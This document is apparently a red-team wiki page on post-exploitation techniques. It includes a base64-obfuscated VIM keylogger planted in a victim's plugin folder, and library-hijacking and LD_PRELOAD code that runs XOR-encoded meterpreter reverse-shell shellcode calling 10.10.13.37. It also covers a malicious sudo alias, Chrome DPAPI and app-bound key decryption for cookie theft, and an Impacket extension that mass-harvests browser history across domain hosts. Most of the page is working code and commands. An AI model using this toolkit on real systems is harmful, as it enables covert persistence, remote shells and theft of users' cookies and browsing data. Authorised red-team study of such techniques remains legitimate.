Post Exploitation

General Post Exploitation

Linux

Search SSH logs for connection source IPs:

$ sudo zgrep -ah sshd /var/log/auth.log* | grep Accepted

VIM Keylogger

Create a VIM config that will save contents of a modified file when ran with sudo:

settings.vim

:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/tmp0x031337
:endif

$ sudo -u victim mkdir -p /home/victim/.vim/plugin
$ sudo -u victim bash -c 'echo -n OmlmICRVU0VSID09ICJyb290Igo6YXV0b2NtZCBCdWZXcml0ZVBvc3QgKiA6c2lsZW50IDp3ISA+PiAvdG1wL3RtcDB4MDMxMzM3CjplbmRpZgo=|base64 -d > /home/victim/.vim/plugin/settings.vim'

Shared Libraries Hijacking

`LD_LIBRARY_PATH`

https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Linux%20Shellcode%20Loaders/sharedLibrary_LD_LIBRARY_PATH.c

For example, target executable will be /usr/bin/top.

Code skeleton:

fakelib.c

#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>

static void hijack() __attribute__((constructor));

// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f c -o met.c --encrypt xor --encrypt-key a
unsigned char buf[] = 
"\x31\x33\...\x33\x37";

void hijack() {
	setuid(0);
	setgid(0);
	printf("Library hijacked!\n");
	int bufsize = (int)sizeof(buf);
	for (int i = 0; i < bufsize-1; i++) { buf[i] = buf[i] ^ 'a'; }
	intptr_t pagesize = sysconf(_SC_PAGESIZE);
	mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC);
	int (*ret)() = (int(*)())buf;
	ret();
}

Get all shared libraries loaded by target executable:

$ ldd /usr/bin/top
...
libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0

We'll be targeting the libgpg-error.so.0 library. Include defined symbols of the original library in our custom library:

$ readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print "int",$8}' | sed 's/@@GPG_ERROR_1.0/;/g' >> fakelib.c

Create a map file with version information of defined symbols:

$ echo 'GPG_ERROR_1.0 {' > gpg.map
$ readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print $8}' | sed 's/@@GPG_ERROR_1.0/;/g' >> gpg.map
$ echo '};' >> gpg.map

Prepare the listener, compile, export LD_LIBRARY_PATH and run top:

$ gcc -Wall -fPIC -c -o fakelib.o fakelib.c
$ gcc -shared -Wl,--version-script gpg.map -o libgpg-error.so.0 fakelib.o
$ sudo LD_LIBRARY_PATH=/home/snovvcrash/ldlib top

`LD_PRELOAD`

For example, target executable will be /bin/cp.

Determine which functions are executed by /bin/cp via LD_PRELOAD:

$ ltrace cp
...
getuid()
...

We'll be hooking the getuid() function:

evilgetuid.c

#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>

// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f c -o met.c --encrypt xor --encrypt-key a
unsigned char buf[] = 
"\x31\x33\...\x33\x37";

uid_t geteuid(void)
{
		typeof(geteuid) *getuid_orig;
		getuid_orig = dlsym(RTLD_NEXT, "geteuid");

		if (fork() == 0) // if inside the forked process
		{
				setuid(0);
				setgid(0);
				printf("Function hooked!\n");

				int bufsize = (int)sizeof(buf);
				for (int i = 0; i < bufsize-1; i++) {
					buf[i] = buf[i] ^ 'a';
				}

				intptr_t pagesize = sysconf(_SC_PAGESIZE);
				if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {
						perror("mprotect");
						return -1;
				}

				int (*ret)() = (int(*)())buf;
				ret();
		}
		else // if inside the original process
		{
				printf("Returning from original...\n");
				return (*getuid_orig)();
		}

		printf("Returning from main...\n");
		return -2;
}

Compile:

$ gcc -Wall -fPIC -z execstack -c -o evilgetuid.o evilgetuid.c
$ gcc -shared -o evilgetuid.so evilgetuid.o -ldl

Create an evil alias to preserve environment variables when running cp with sudo (good candidates are .bashrc and .bash_profile):

alias sudo="sudo LD_PRELOAD=/home/victim/evilgetuid.so"

Run the target executable:

$ sudo cp /etc/passwd /tmp/passwd

Browsers

Chrome / Chromium

Local State Key Decryption (v20+)

Local state key manual decryption (via DPAPI):

$ get C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State
$ cat 'Local State' | jq '.os_crypt.encrypted_key' -r | base64 -d | tail -c +6 | base64 -w0; echo
PS > Add-Type -AssemblyName System.Security
PS > $decrypted = [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String("<BASE64_BLOB>"), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))
PS > !echo -n $decrypted | base64 -d | od -v -An -tx1 | tr -d ' \n'; echo
PS > .\SharpChrome.exe cookies /statekey:$stateKey

App-bound local state key manual decryption (via DPAPI) doing LocalSystem to User context swap:

$ get C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State
$ cat 'Local State' | jq '.os_crypt.app_bound_encrypted_key' -r | base64 -d | tail -c +5 | base64 -w0; echo
PS (LocalSystem) > Add-Type -AssemblyName System.Security
PS (LocalSystem) > $systemDecrypted = [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String("<BASE64_BLOB>"), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))
PS (User) > $userDecrypted = [System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String($systemDecrypted), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
PS (User) > [Text.Encoding]::ASCII.GetString($userDecrypted)
# Chromium
PS (User) > $stateKey = ($userDecrypted[-32..-1] | % ToString x2) -join ''
# Chrome
## AES GCM (flag == decrypted_key[0] == 0x01)
$ python -c "import binascii; from Crypto.Cipher import AES; user_decrypted = '$userDecrypted'; decrypted_key = binascii.a2b_base64(user_decrypted)[-61:]; elevation_service_key = bytes.fromhex('B31C6E241AC846728DA9C1FAC4936651CFFB944D143AB816276BCC6DA0284787'); cipher = AES.new(elevation_service_key, AES.MODE_GCM, nonce=decrypted_key[1:1+12]); print(cipher.decrypt_and_verify(decrypted_key[13:45], decrypted_key[45:]).hex())"
## ChaCha20 (flag == decrypted_key[0] == 0x02)
$ python -c "import binascii; from Crypto.Cipher import ChaCha20_Poly1305; user_decrypted = '$userDecrypted'; decrypted_key = binascii.a2b_base64(user_decrypted)[-61:]; elevation_service_key = bytes.fromhex('E98F37D7F4E1FA433D19304DC2258042090E2D1D7EEA7670D41F738D08729660'); cipher = ChaCha20_Poly1305.new(key=elevation_service_key, nonce=decrypted_key[1:1+12]); print(cipher.decrypt_and_verify(decrypted_key[13:45], decrypted_key[45:]).hex())"
PS (User) > .\SharpChrome.exe cookies /statekey:$stateKey

Tools

Mass History Harvesting

Collect SQLite history DBs:

$ cat get_browser_history.cmd
use c$
getBrowserHistory edge chrome
$ for comp in `cat comps.txt`; do KRB5CCNAME=tickets/"`echo $comp | cut -d'.' -f1`".ccache proxychains4 -q smbclient.py -k -no-pass $comp -inputfile get_browser_history.cmd; sleep 2; done

Impacket's smbclient.py extension and parsing code to extract latest visits per a domain from urls table:

getBrowserHistory.py

def do_getBrowserHistory(self, browsers):
	browsers = [name.lower() for name in browsers.split()]
	for browser in browsers:
		if browser not in ('edge', 'chrome'):
			LOG.error(f'Unsupported browser: {browser}')
			return False

	usernames = []
	try:
		for item in self.smb.listPath(self.share, '\\Users\\*'):
			username = item.get_longname()
			if item.is_directory() and username not in ('.', '..'):
				usernames.append(username)
	except Exception as e:
		LOG.error(f'Failed to enumerate user homes: {e}')
		return False

	browser_configs = dict.fromkeys(browsers, [])
	for browser in browsers:
		if browser == 'edge':
			browser_configs[browser] = ('msedge.exe', 'Microsoft\\Edge')
		elif browser == 'chrome':
			browser_configs[browser] = ('chrome.exe', 'Google\\Chrome')

	history_to_get = dict.fromkeys(browsers, [])
	for browser, config in browser_configs.items():
		for username in usernames:
			browser_history_path = f'\\Users\\{username}\\AppData\\Local\\{config[1]}\\User Data\\Default\\History'
			try:
				_ = self.smb.listPath(self.share, browser_history_path)
			except:
				pass
			else:
				history_to_get[browser].append((browser_history_path, f'{username}_Default'))
			browser_history_path = f'\\Users\\{username}\\AppData\\Local\\{config[1]}\\User Data\\Profile*'
			try:
				for profile in self.smb.listPath(self.share, browser_history_path):
					profile = profile.get_longname()
					browser_history_path = browser_history_path.rsplit('\\', 1)[0] + f'\\{profile}\\History'
					history_to_get[browser].append((browser_history_path, f'{username}_{profile.replace(" ", "")}'))
			except:
				pass

	for browser, histories in history_to_get.items():
		if histories:
			for history in histories:
				history_path, username = history
				self.do_get(history_path)
				new_history_name = f'history_{self.target_name}_{username}_{browser}_{datetime.now().strftime("%Y%m%dT%H%M%S")}.sqlite'
				os.rename('History', new_history_name)
				if Path(new_history_name).exists():
					LOG.info(f'Downloaded "C:{history_path}" to "{new_history_name}"')

parse_urls.py

# python -u parse_urls.py | grep -i megacorp.com | less

import os
import sqlite3
from urllib.parse import urlparse
from datetime import datetime, timezone

def convert_chromium_time(webkit_timestamp):
    try:
        unix_timestamp = webkit_timestamp / 1000000 - 11644473600
        return datetime.fromtimestamp(unix_timestamp, timezone.utc)
    except Exception as e:
        return None

def extract_domain_latest_visit(db_path):
    domain_latest = {}
    try:
        conn = sqlite3.connect(db_path)
        cursor = conn.cursor()
        query = """
        SELECT urls.url, visits.visit_time
        FROM urls
        JOIN visits ON urls.id = visits.url;
        """
        cursor.execute(query)
        rows = cursor.fetchall()
        for url, visit_time in rows:
            parsed = urlparse(url)
            domain = parsed.netloc
            dt = convert_chromium_time(visit_time)
            if dt is None:
                continue
            if domain not in domain_latest or dt > domain_latest[domain]:
                domain_latest[domain] = dt
    except Exception as e:
        print(f'[!] Failed to process DB "{db_path}": {e}')
    finally:
        if 'conn' in locals():
            conn.close()
    return domain_latest

def main():
    for db in [f for f in os.listdir('.') if os.path.isfile(f) and f.endswith('.sqlite')]:
        domain_latest = extract_domain_latest_visit(db)
        if domain_latest:
            for domain, dt in sorted(domain_latest.items(), key=lambda x: x[1], reverse=True):
                print(f'{db}: {domain} ({dt.strftime("%Y-%m-%d %H:%M:%S")})')

if __name__ == '__main__':
    main()

Yandex Browser

Tools

cookie_crimes

CursedChrome

Last updated 1 month ago

hashtagLinux

hashtagVIM Keylogger

hashtagShared Libraries Hijacking

hashtagLD_LIBRARY_PATH

hashtagLD_PRELOAD

hashtagBrowsers

hashtagChrome / Chromium

hashtagLocal State Key Decryption (v20+)

hashtagMass History Harvesting

hashtagYandex Browser

hashtagTools